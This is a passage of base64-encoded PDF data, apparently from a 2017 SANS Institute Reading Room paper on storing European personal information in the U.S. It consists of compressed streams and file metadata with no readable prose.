5+HUya4W0Bu2UKvQ389+wyEcbm8LgOuqgmv40aNH68heHld+FEmPH+1SwMGu/iBqrWuXEO6qH/Pyqmr/lUAKXZr6w9E7nZmgV25RaqBWo8oTcW953Ft9B5xw
pOtBcxSa8QHfr1Jc1D6Tixy3b+vSRVy2TMTV+7AxXpUqu5qTghGQ/bEDgMImVXM0Fosp7DOZSbg36aoSAHKrMN4c67Nd4XExQXD73WHk+Dqj1iBtLIGDy6bC
OVWdrBDiPOkxvBYOf7MNu6jg1OdlB8k48+N++K3p7SnhWxURKS69Iw/cQkEYtlQncIZn6OhljjI9Au4MxCnTY5obedzgyIu8v0pV6yFcuJjfA1rPmbmXJThz
2gVXyzPe7xk/lprAZRTl/Uvg5amm3iThVAtcyHYyZmF5GkGxW4Lzyjmca2SbH6Ti9WUpzirLyt0NCDEfpIX1RrihCwIuo8ni/V8cuG4pFzZvKNCbNLs5DgfG
O1l+erVB0MqIuKh99Mrk6BXe7a0aWlgfAXfTtot2zzdYnoSbL+G0OUNYJT9gW8YFKU4fEg7y9ZCVM4/ZchbiOMVAza8TpiwUmliFPoHLtPnR7rXMXYP6VBGn
vzHNqyNyKxcs502zLUmRieUJIe3o0POexp1xHN4xAqaZXsGtU016JbjOxX5Bn2Mc7JHgFB+jtNfNcruncUeScDjbLZiz/LVwOObwpeI4zhxyAh9bgmYhJ6sl
uKqNNmFTQevgSTyBi3Lnjs9Do3aci73eX6Shgtsdm+hkkdkwcvPv+0gPwmWbIsC4iEZrsFnKJbiUjYZHKFj8g+YELtZXlYmOjrxPEdPPf3/fI8G9ta6gPOX6
nq2M4VMWkqCQX+tKRmBp0SGUoOEgJoYmj8PY+4Khfne7LBoPFTjGSRRE3XAYeHlIS8xJcF9RaHNAxsprHPIeiDhF7V59lomtQjFRw1zDpTiVfxwtc/gGnsBp
tK3IX66xVh9TPE0jKAlOv/hPZAYTFTA6UymqYEyIlFp4Rgm6CYXmiFankeBoSoX85g6xdQmcotYh+ouYOH/5VMG9N3HcG7s4fPDs7jacfmp1nTALDVkCpi0q
OZp9PxGqluK6mGA9ChbynnVNxMX6mmZF3vRgduxNXXW1/m0c99as6hfNhhW7eJS5MwNBPobUotBcNqmlOKz0P0SLGEX0f+Kzi1Uy7aK/wAxMHlEoEhxuD2aK
ducDawJn9Rs2h5g0viRzkW0jy5Nw5trL6Gt3aUsCF+2zZcSXs6FPcQj3tsdyXTQPOzB9HFcbrB+3MQSLQtM1pBKqCsIReqv/qhjzWAIX03TEpwfaO7yHcYra
TnH3QJbsngLRcDj4iElL0aPI6lPp9Ek4XDWNRmlkJbhonxhdXC6uxQ/houZByXCwHoTTMyOg300SA+KXS2BHIMVpYn0of4NzmCmBi1Wyvmeiv9ZQz2Gcola2
HB/OSgeKlrq0YjCtSnuYHUYRccGdn52MM+cXo2/JGiS4WE+BeJbh4cMqD+GietYREO0lDIq/HtMl4Osgmivn482fekwaKhpYPb9HzYWPuCTB4bWjYo8DivPL
FIdwUWsoHi1FndvCDt1ZyQkMsdRTnEV5ILPTIqSxOA72IihjRdayJLhYNhbfnpyZQfNhHG63GUR73mAZX4hhdjAs0QXVCvtlNIW2QaHCJnD6xWkhbHNrIsMS
XHSsISL6mwg1Kw7hombWl4PMhX6+EKfDcD4wMZQ3Zg2igOimlfpkXMzeKdg2eyels4vpO2bEw5xZpfLGcbjGmw5PYmwsFM8tlzFui7wqJ2yiSOg03tu2qtze
QzizakKwbW7mCuU1vTKdW5yewWnR38jgVDxnju10KeFJhLu7Ih6+iS5YL2PZ8mWQR5fqFLDkoriNUBV8N9azBnEMwc/U3nZLjMEUxqOPZe/MPeZjrW9NLERZ
JosZ4RT/bptoSoW4mBlrFINlCWZW2NTcvOXbIOfPn+9j0cQzTNid81AGTAbYPJB93LPdcyDiOhe1Pd6BTmennTP0bbSh5QwYsbE3aHawyFT9u5rLJHfk6HwB
BzYFW7a9zcw9Rh6Wy+WqdhQPRkbOibopI3NUJRdEK44yN6gNh+XMnsvBNHAGQo1G6WqnYcETcB/7gJFWcgGnZ/dQtIyodDg+cB/Un3m0PDs5OfkIpVyXYTmL
k8nCYdel2SxBZsXb0K1Ls5Pwo6HegEwHqPyCfpKsTODaaA+fnKwP0K3XqU7zpncsgFvDt+p5EYM2NyurEErW1U2XgX/iZBYN5havyspwFYmmZXSVeNRAjom4
y8BHp/EBByuRENUX5GnVlfktoHipipeVIArNfnUXWszAqBYtZpgcykGLaZHLG1RDgTzRRKBKdKZpsCyBa2d0dUI9RZVo2RQqt/ovgcYNhsagsBjq0CNhLE2t
TsNgqFSx8IkXZk5IkLlVrFrtXgwOT9DIoqa7eYthCbsm4mqA060Wbhs4us4tm8iHG8abrjY63MWL0PfzZburoOBri8zA9SoFguzQPpdwEDCi4GvaWL8sJ5GN
FLonwwqtTOAOTKExlOpCfIb/xaQuXfQ9y+lkqMfPHz9+/hy7L+CuGDuUZWVltdy5w6h7ZYLUNhUiXOm9MtY4DGuyDplUeWh2ugQut1M7JeDSB/j02BtWV8Be
PkNGUqlchsNft6HQ9LFKWC2tPI6oVAhipvMQzqOJ3pnJCbRtn8Q5A6xs/HIVrjHuBA52kOLlps82LkQmCYtdC1VRWikUhxTUaedhaVDzFde0C0mME8WA8aaA
06XH/mEMgGla7EitsggfmRbJ7ICTjHeQIS4oprWlDCy4rUw+yrnVYtacUFpSk3ImL+aKC0m4iJy/83F1nbuKgwlSLdk72GOJF+FK/rrkYEpZ2BZ0Y3No1tlz
KOEcmLg3rU0ZOUN0Aofba35N4DJh9tlGwYCzjdxdlfVIcdAxf+NF5qIlzM3e5db46zKhT9KQKAGMr8D8Bu8ORa4alqgUcTErdwlM4GBXM69A61zzjOs2505K
cRk21O/hr+FJmUgjSTesK3sY6t7hHXFEwMFLKWz+7MFcWCzcCZyGHUnCZQZps+Bv4Pt6MCsnC+5JcWBhsE/YBcYJhttoosMIM8UMPYfWWAGTgSC78F6Cb9zd
hB1iR10cF+tbyZXiQPFcLd9m6LlxNNLETrUEVwh7ILZHwQ2mKQM2eypWzu39yCLWp+G0ldaBUZQ281jMOsCXjhKSPW8WW3zu4pnAjU+CEawH2hR98NWIXE15
KiU4h+2Sq4Ye+KpuIHQOXLXR1BJfOq40+hsKemKKZrmpS2x8i01hU5VQwJ1GWcNJxMNf70kis93UAtrV0J+d6QZXuGQzhSdy5i8NG0stoH/G3zTaDwxBjDWK
db3o0eidKP5z4+RyvC2efDTpEp8vTc+L0WltmAVBmsPNgCL/xtoEKG7zN1WVgFxHh4fYyRabhzuOTAftphsaDTkZGQEw0UlTWMpC6zlOWp3OFbJc87Oj3+kU
NJzKuSA8nltw3rUo0QHTzztabRYOFyxqp/MZ4vLscIYhF1ww0mp+cghXbrJ1qQnKgpnaGu/fTXEzpQQBI1MUN+XxVqvJPxHoqRxdoKtD8F2YFZ422MJqiiIx
+VDj/d1gmHZTlE6T6MSekmlEfvOqJ6RiGEYLyTvK1AdpSCo8+R5vLPH5kHgSOEXZjofgfoJ7CgdBNU9x/uYxFXymlHWStlZDUTBw3pQrKSTX0nEdkZBr+lid
h/gzyRcvMLFKJUVwqTI9n6J2vLFqHTWH/HmldwS8enV1DIZ7+tNVXWmprjkVfsWbmhAYDNG61D+V+G036uXfjSlSV1e5Vis99SLnbzVVf/gGFI2KP669Czl8
nXw/8l5xib8thM/RdyWHcfEJvjMWR5P8GfoeljL5r953DoO4L9/v/+b/BTSFZnUKZW5kc3RyZWFtCmVuZG9iago5NDEgMCBvYmoKMzY1OAplbmRvYmoKOTM5
IDAgb2JqCjw8L0xlbmd0aCA5NDIgMCBSL0ZpbHRlci9GbGF0ZURlY29kZT4+CnN0cmVhbQp4nONzyGQMqrarm+XdsUjGqyioZ2lA1xLxlDZR1zzvgn7dyFpZ
nyJur3JJjwKlgDKmyDqGkBrWgCoeu4xnr99LepYIOuV8/f5TwDGL0yZdwj3/1qMXbK6lv3//ZvGtdGyc+/nrDxHn3DkbD0m4FzP5Vsn4FMr5F9998urJq/eW
xVPCKqa9/fBFM7RKt3gSs1u5sEsOi0PRnlNXrZNbWayyMzsXbTx4/t+/f4u3HeOMaRR0LpL2KDKrms7jUMLrUirlUSjlVcTqWSHhmV85ZTWzV4VcVrdnXh+n
W5lZQlNh//L7T1///PlTJa8/qGwyp20um2fZsh3HxTzyFP1KmZxKuRxy//79qxpUce7Gg6Y5G41jGwTdSk5eubti18mUlvl9S3dy2Wa6ZHfJ+RR3LtrG5lRy
8NxNNtsC8dSOLYcvMJtnCbhkRdfO/P3nz6QVu32LJ3A6lbx8+/HoxduCSW3bj12+8eC5gHPJ9LX7IqqnC7sUXb//TM63hN8x9+GLt6v2nGKzTHVI67hy94lD
ZoeIR0nJxBUfPn998OyNQXSdqGvRmn1neO1ypHxrGI2T/vz9qxHTxu2QLuNXxO6WXz9zw8cv3+IaZktENl+89ejvv3+GpVM4HQtqZ6zjdSxqm79F0rtA1K30
0u0n3EG1kj7Fwl6VvG7Ff/7+k/ArFUhocm1ZIJLYalUzg9M6x6ZiBoOxH4tbsVxgqWX1DM+2hcpJnUUTl7OF1fl1LjbKncDrlnf5zuO///7qZvVpJXf1r9j5
/cdPHpdsfos8hrAaBqd4htAqhrBqhvDa////MwxlAAArNQqgCmVuZHN0cmVhbQplbmRvYmoKOTQyIDAgb2JqCjYxMwplbmRvYmoKOTM1IDAgb2JqCjw8L0xl
bmd0aCA5MzQgMCBSL0ZpbHRlci9GbGF0ZURlY29kZT4+CnN0cmVhbQp4nK2aXVPiSBSG7/kVfbWLVZFJfwWYOwUctUBdwd2d3dqLFlrMEhKWD6f499v5NPFo
c+JQU2NhyreTPHT306eT80njywUlHTJ5apgfw4Z0SdtjZDJrNE8m/zaaQ7XZkofVTG317CsZqT1hYvvsEObSdvIHJ78m/79cMMJZ3Ez8M2nnlHXidv5uPqym
0dIP52R8djMmJ7TTnJy0RXOt/NAcPflncp3EqRvH45/DhklTmaZ7gT9dkEu9joOaPEXJB6LI0y4ISOCb64ueiDKfq+cZvOhwuyGPezKMpmrrR2FypsGk8V/D
67Q6jLjmn5At5pm7IW3XJdNl48sV56QfNX4zf3U+Sa6rG19WN74qxojXoQmc5BQjNVv7s4KFafr9WLtd5NKIQwZjW4J3WEuWMoZ6N2VOTsn1LiQudw6eVjKv
xUS3aGbov+iUSpEy9+21XcKkjBGstblUmRyhhkZ6hOdHWH5EdNMj7Tw0/oiVR9OvMP3epWyebQMVblV66dm38TGyNJ6HHPLt7AFDzXulxt0qNVGDmmelJgE1
CahJQE1iqIkytbEKycVahVN/M43IeLdcpgMBiVBkvbXcikN6B0HyVrfLi3jCTlZQUrcGSmFFyQFKDlBygJJjULIcpZ7u1v52T25Xep3MBRvSM9eRsYyx+lvy
y/tzkxVwfoY/4u6tNs8mtI1Ch/R7BrEtXTBmHzNmNRgzK2MKGFPAmALGFMPYLU2Il9FuY24fNyO6Gbos5KT0/8Ryc4/TN10bN9l9yy0+UuWWHKlwi48c5CY7
lckxvvVn5ZuZboYb2kX+XIXzRbTI8F2i4GXhZrmXZfB4DXjSahYJzCKBWSQwi8SYRXplC8fUUF0ujyUJh1xNMJNgHnqHFW3XYGX1iQQ+kcAnEvhEYnwiRYlV
71mtg2i71TheWbRIOeSmh1OHFMehZlWHBOqQQB0SqENi1CFZxcKxP9L15yD9EK00cpxmE/PZcmN0M1NLw3CIIsg+JMjqjFGrGCQQgwRikEAMEiMGmc/v40FP
SvmVjK8Go9PJSZc11XTrT1WQLglDFezNr5vDJN3XxUzf1/MaCxnpHqc3WmUhgCwEkIUAshAYWYhy1XEfTRd7Mop2ZlHs4yY+kcuir8MXs+gx34GBd4tUrfjY
FnXoCastBLCFALYQwBYCYwtRtUUYarWKTOGIQ1c4o8g5ZHSD63ei7I5qBcdq1CLC6g4B3CGAOwRwh8C4Q+S1SP/i6v7jZTJuJiwaOzPrPb/uek+UhMLeTIfd
GiitQhFAKAIIRQChCIxQBCtrOAp2y0ff1LSjPq4XZuly8FAXlOaGZZFMQHklbgFxaQ1uVo0IoBEBNCKARgRGI8Iti7i3f8xqtr5+0uFUk54KzaE1ck+haC2P
OamEHg70wYyl+zHLTg2WVo1woBEONMKBRjhGI7yskTu1Rk6BeSxJOOTiHtPveOco/Y5bpcGBNDiQBgfS4BhpcK+0fPHE13s9y+Y9I0+tluR2dXjJwr1PL1l4
SR1vNv/qlGjcqg4O1MGBOjhQB8eog5fLjmEUzqIw/vL3uB6Xz9JJziHfzu3IvFZyXYUigmKD9BPDk1sVwYEiOFAEB4rgGEXwvOaAs9y1WuU17sE+l7eS9NRo
sTed7vruwPyWAWQlgLICkMoaAK2u4MAVHLiCA1dwjCt4xRXDaJNVGHMd6I25EdOd5uRcq+kzEqVbdMMshxm/GUv3lSV1P8/S6goGXMGAKxhwBcO4gnXs3h2b
dZ9ZDmdVMQrna5PlrEPG31C9k3WOQpRZjcKAURgwCgNGYRijsHIZctUbm4X0INTr+f60zrYpy71Ud9s0g+gdB6JVKwxohQGtMKAVhtEKqzwdGe1C3wzmuo9F
skaaadwh/QFmRDNxHHRWvTCgFwb0woBeGEYvrFSBmHJugOtuP/GAI8NWkkqlcAtqFW7MKhUGpMKAVBiQCsNIhRVSyR8iJVKJy98fKp3CQr3Z5NXxp8vj4jw3
hvKLHwQ6G9o3B0GLVlvI1wZitJwWpJPL3c2Jm9O2NVbgtnqHAu9Q4B0KvEMx3qEV78QL59ThptP5EY7kaxPVNHqqZGYFLl+bSeB5gCeNP9AaTKnVPBSYhwLz
UGAeijEPLZvnbq3mO9z+f55LI2bt89ehx+9tUaQybm3IjdVhZhUNBaKhQDQUiIZiREPL9cvlfqbX6lHh3vXIo0XKIVc3KHLimOSsnqHAMxR4hgLPUIxnaHmn
6zxCr2zyXBpxyAjxukdCjR2TmlUzFGiGAs1QoBmK0QwtP0cfq2BLhmqhSS8WDopeoalKNobgkIcJYs5LWLolllRAlnUcQq0OAQoBBgECwfijoo8b/YOc8Hbz
+wmltBmtFyWehyySN/R+GynXm+9Irp0jYrVaBEgEOAQoBPUq19uXFX6PkfjruVngqDoldd4QzDtZu5R1m2eIhwKi2yH5G2IGIXtd8Iz1qtYeo/3JPHhACp6P
gsejmG3t8mjfRtPFcxQsUQM9S96GgR/q8YHKJX4hLi92fu4tQvumGNjSATs6YEMHs/QuQboN+3qpwtnBgiWXSLTYmLX46I5vTDbY210iaLclXZ6nz8L91l9q
O5dOi0mvuEYdPJE7NdWzii+ALoAtgCwqXP4HrHDWdgplbmRzdHJlYW0KZW5kb2JqCjkzNCAwIG9iagoxOTcwCmVuZG9iagoyMyAwIG9iago8PC9MZW5ndGgg
MTA3MCAwIFIvRmlsdGVyL0ZsYXRlRGVjb2RlL1R5cGUvT2JqU3RtL04gMTE5L0ZpcnN0IDExMDI+PgpzdHJlYW0KeJytmk+P2zYQxe/7KXhsD45IDv8WaYrk
UKBAD0XSoocgB62t3VViS4YsI9hv3zdcpu02h5JUDgtrZyT66XE0P1Gy1kLeRGHDjTZC4UMpoZW70VaQsjdKC/J0o50w+FBBWIMPqYxwRt1EQ8LFyAErgtQI
GBGc54AT0WNkY4WSOu3ihVJECDlsxMChIBRJHgc5copDUSjjLELIWZIIaSmUSwci56XjkBIqKAxvkQveckgLFX1ACCcgneEQ8alwSAutiYXjJLHhEEKOYhrL
Cm0lj4WcdWksJ7RLByLnk3rthQ4swiIXknodBElWbz02bNorwjXHeyGnNe9FUhAR74UcRRZBSpCJ/iY65KzTHILPjk/bKTacnSASFIhDyEXJTpARRkoM7wgb
TwdaYZTDCTnk9NOBmCwigxByRqaQF8ZKHgs569NYQRjneSzPc8tzRlGYwNPqkIvJaCMFvIkIoUZkSCElrIrwyyOnLftltLCE2okeOaPYCVSGtRrDe+RsYCdQ
G9ZFDO+R8y6NZVF5XCYeuUhpLCccxCFksZFmCNXhNM+QR06nGUJ1OOIZ8siZpwOjcJYg1SPnJBcAqsN5CaM9ct6zE6gOxwUTA3LRsBOoDg+9CCnhFRe9RHV4
jfOIATkd0lhGeAoYKyAHMzlkhbcWRgfkXDptVIf3GhdCQM6nMkF1+MjXRkAuposD1REkn3bwIqinsaIIOo2FHKWxUB3BpLGQM8lCVEewEaGInLM8FqojeIex
InJB8zmiOkLUOMeIHHblkBFRovhiJBFVcgLVETU7EZGj5ASqA1cw74WclWl4L1CTmLSInPM8HagO2A5zInKBkq4oMIy+efmy+/3xPHSv9+s4T9277o+3v/Df
dw/rev6h6z5//vzi0k+XF/Ny343T3dyRi5q+f/Xq7yOnaV67d9fblf/7dZw+db8J9Cjxtns77Nf3GifgcMlauOOl/ND9LEz35h0O/1NofOG7V6+6N/NyGJb3
EkfpD91rXPt8/L++o0adjDXquLLRM1hcsM/Eya/FySTObBCnTIU4BWXKcr+AQiXL1NkGdcvQH8bpfrfM86nbH8f9p84ZX6EU16ZiK9F9XKGLbouL/zvFEc34
n0lOlYcKDGgE7pk89bU8xfISMesFHvHtL84P55/Gw4/GR9K1OtH9ADA00lg23Qnk9TpP/WEZDzsNxlcpNOgzLBFEqpHYMtfPrHQ62GorbbbSF+v0DTr79dhP
a9/opc1elmsMm8sSBKr2krKXtlhnbNCJjd3d0k/78bKfd5fr6TQsjcZSNrZYsJabjVW63liVjaVinarF2GF/Xcb1cTefh6XnAy67/TCtsJddHtdGl1V2uVx9
C9n/0wpsdSuwMbtcCNG0EqnX+TBfL+s8tXnJGpOX5Ro3EypgCVjtZSaULW7/Tbck60M/orE2MspmRlWI3MyoKH2dUDYzM8oW93/dwqgTW9noZCZUhcJvQChd
72QmlC1v+C2E2j/0y3Fe16HRzYylcpW0GUvO1N872YwlW9zYqRlLw264LuBSo6MZQRVKNyMI64/qtmkygmxxe6cWBMFRa+3udlj7aitNJlCFxM0EctrLaisz
gUxxc6emRfG8//S4O81X3N2Pjd3TZA5VSN3MIS/rl50mc8gUd3lq49A0Df15Po6XRj8zjSp0bqYRbjjrSzTTyJT3+RYaHcb7ce2Pu7t5GabLuL9sups3GU7l
os32NRMKqdrcDCdT3PJNC5z28/F6uh0bV/Ymc6lC5GYuYQFabSZlLpnipm9auLR/vMVa8zDcDdN+2O37Cf8ujdZS5lSF5G/xLK/e2swpKm7+poVT535pbaeU
8VShcPsyycfqdkoZT1Tc9k0LnvjmyZndMhx269CfdvP5Um9pJlSF1O2EIllvaSYUlTf7FkId5+kwT7uP1+NjY4lmKJXrtNuhpBsu9gwlKu73tglKz/rox/7c
uq6nzKcKvdv55Hz1nanOfKLiZm9b+IQ6vceqqd8/tNmpM5MqZG5nkqp/4KQzk3Rxx7ctTHpeppdxusdd/9K4xNeZUhWaty+ilKov1UwpXdz6bQul+Db/y5Pm
fLu/Llih8gvcNn/tl6e6xbq3I8vU3wXojCxdjoIWZJ2u04g2sOXtk87QKlfqtj/mI1n9mE9naOliCLimx3zYuBubL/9MqgqR32AlJatbq8qkKv2lRvrZz4ZX
ef3nHqv+4bJt0a8yuCpUb3/oR/Wv8FQGlyqGgGsBF7+B7ie01nFu9DPDqkLn9l9H4Iur/cywUsVN37XA6rz099fGC19lLlVI3Myl+PTjiL8AOHEcBwplbmRz
dHJlYW0KZW5kb2JqCjEwNzAgMCBvYmoKMTcyOQplbmRvYmoKMTA4NSAwIG9iago8PC9UaXRsZSAoTm8gU2FmZSBIYXJib3I6ICBDb2xsZWN0aW5nIGFuZCBT
dG9yaW5nIEV1cm9wZWFuIFBlcnNvbmFsIEluZm9ybWF0aW9uIGluIHRoZSBVLlMuKQovQ3JlYXRvciAoU0FOUyBJbnN0aXR1dGUgSW5mb1NlYyBSZWFkaW5n
IFJvb20pCi9DcmVhdGlvbkRhdGUgKEQ6MjAxNzA1MjQxNDMzNTFaKQovUHJvZHVjZXIgKFBERmxpYitQREkgOS4xLjAgXChQSFA1L0xpbnV4LXg4Nl82NFwp
KQo+PgplbmRvYmoKMTA5MCAwIG9iago8PC9MZW5ndGggMTA4OSAwIFIvRmlsdGVyL0ZsYXRlRGVjb2RlL04gMy9SYW5nZVswIDEgMCAxIDAgMSBdPj4Kc3Ry
ZWFtCnicnZZ3VFPZFofPvTe9UJIQipTQa2hSAkgNvUiRLioxCRBKwJAAIjZEVHBEUZGmCDIo4ICjQ5GxIoqFAVGx6wQZRNRxcBQblklkrRnfvHnvzZvfH/d+
a5+9z91n733WugCQ/IMFwkxYCYAMoVgU4efFiI2LZ2AHAQzwAANsAOBws7NCFvhGApkCfNiMbJkT+Be9ug4g+fsq0z+MwQD/n5S5WSIxAFCYjOfy+NlcGRfJ
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
cp4wb2C52fJNyyfyffO/XoFawV3RW6BbsLZgdKXnyvpV0Kqlq3pX668uWj2+xm/NgbWEtWlrfyi0LiwvfLkuZl1PkVbRmqKx9X7rW4sVikXFNza4bKjbiNoo
2Di4ae6mqk0fS3glF0utSytK32/mbr74lc1XlV992pK0ZbDMoWzPVsxW4dbr29y3HShXLs8vH9sesr1zB2NHyY6XO5fsvFBhV1G3i7BLsktaGVzZXWVQtbXq
fXVK9UiNV017rWbtptrXu3m7r+zx2NNWp1VXWvdur2DvzXq/+s4Go4aKfZh9OfseNkY39n/N+rq5SaOptOnDfuF+6YGIA33Njs3NLZotZa1wq6R18mDCwcvf
eH/T3cZsq2+nt5ceAockhx5/m/jt9cNBh3uPsI60fWf4XW0HtaOkE+pc3jnVldIl7Y7rHj4aeLS3x6Wn43vL7/cf0z1Wc1zleNkJwomiE59O5p+cPpV16unp
5NNjvUt675yJPXOtL7xv8GzQ2fPnfM+d6ffsP3ne9fyxC84Xjl5kXey65HCpc8B+oOMH+x86Bh0GO4cch7ovO13uGZ43fOKK+5XTV72vnrsWcO3SyPyR4etR
12/eSLghvcm7+ehW+q3nt3Nuz9xZcxd9t+Se0r2K+5r3G340/bFd6iA9Puo9OvBgwYM7Y9yxJz9l//R+vOgh+WHFhM5E8yPbR8cmfScvP174ePxJ1pOZp8U/
K/9c+8zk2Xe/ePwyMBU7Nf5c9PzTr5tfqL/Y/9LuZe902PT9VxmvZl6XvFF/c+At623/u5h3EzO577HvKz+Yfuj5GPTx7qeMT59+A/eE8/sKZW5kc3RyZWFt
CmVuZG9iagoxMDg5IDAgb2JqCjI1OTYKZW5kb2JqCjEwOTYgMCBvYmoKPDwvVHlwZS9DYXRhbG9nL1BhZ2VzIDEwOTUgMCBSPj4KZW5kb2JqCjEwNzEgMCBv
YmoKPDwvTGVuZ3RoIDEwOTcgMCBSL0ZpbHRlci9GbGF0ZURlY29kZS9UeXBlL09ialN0bS9OIDI3L0ZpcnN0IDI1ND4+CnN0cmVhbQp4nKWWS4+bMBCA7/sr
5tgeiMf4XW1T7VaqVGkPVWjVw6oHXlpQshARtlH+fceAqt5qzCGSmXhmPr6AJ85ZwDuOJgWO4s45B1wrHxCQakcLRBBC+ogEKYyPcJBO+4gCjT4bU9Bzlgaj
pz0C7JxlwM1ZEvxGH7LAfTO6VLSauhjqmxruYxq4EL68ReBLRwNcoS9nOfGh/xapip4yLLEb4ysjVZnbWgHcTVU4QooTpZWQ0rWPcVoR5/09+3471+yh6/qR
ZW/F6K+e2u7IvhG2AIQDO9Tl+JwSi6BKdMtE8ot9AckeM8r/Ccgylu337LEfqnp4RkqiDQ90t9r5Avv93zbl2PYdbf9x+Oo/75pxPH9g7Hq97i55d9n1wwtr
blQlL/IqSZGb9/9k/xdSOjVRKoMrKOmnX095ova7c3P+1FYfpRYaV4F6m3yxKYI5RQRn0V/GvotUyReV4Yhyq0qDMl2r0i0meTCmisDM8tOYPOXHOvncjrc4
o24RGk6qNz+b6fpn08xCXTCliaDs6mty64djUkbrNLPOcE67/U23aq1NNds0wZQxp+bvdnhpuzZPijovmzidatYZDGpxs86It32ZQsHHO03M9ZR0aJbHpj+9
xplcZlA449YRRH8nVotcBlDw4W5j5k/fVfVr3lUsL/q30eOuH0OzzHDOZQj9AWDavAcKZW5kc3RyZWFtCmVuZG9iagoxMDk3IDAgb2JqCjUxMwplbmRvYmoK
OTE2IDAgb2JqCjw8L0xlbmd0aCAxMDk4IDAgUi9GaWx0ZXIvRmxhdGVEZWNvZGUvVHlwZS9PYmpTdG0vTiA2MC9GaXJzdCA1NDA+PgpzdHJlYW0KeJzVWltv
W7kRfuev4OOmhXt4vwALA7ZzM7bJLuy0WcDwg2KdOipsyZDkIOmv7ww5PIc6knyTArQBGNK8fBwOh98ZDhWl4YJFqbmykkURuBYa/o7caM+iUtxJzCWX2kFB
eC6tN1BjuPRSQQFqQnRQcFwJYaGP5UopRANUZQOLWkEhSiaFhJKWEUvQGIKFElfRGMiD4wbqoTsUlHVY5bk1EgTSULBeYFXgzqvIQLIQBfOae6EUk9JyLwXg
GAOFEJj0jnvlFVOwRq8BTxnobIxgUMu9VYbBYrl3IjANInoXFdNOcu+9YzpCTXCaGVi8j1YwYwUPAtRiguRBwnALwgclJbM6QiEGBjLyoGFZNkKNgdmdCjxY
G5mzUOOMYw6WELzWzEvPQ1CwCAM1oFvmAwyP0bAgIofdkCwYwaN0gQUHNcpaFmLgURtUPdQYUEXUmkcrQWE8OoVKAtmjT0qN0BQ8qj4aHiOICCXLJewUKE1D
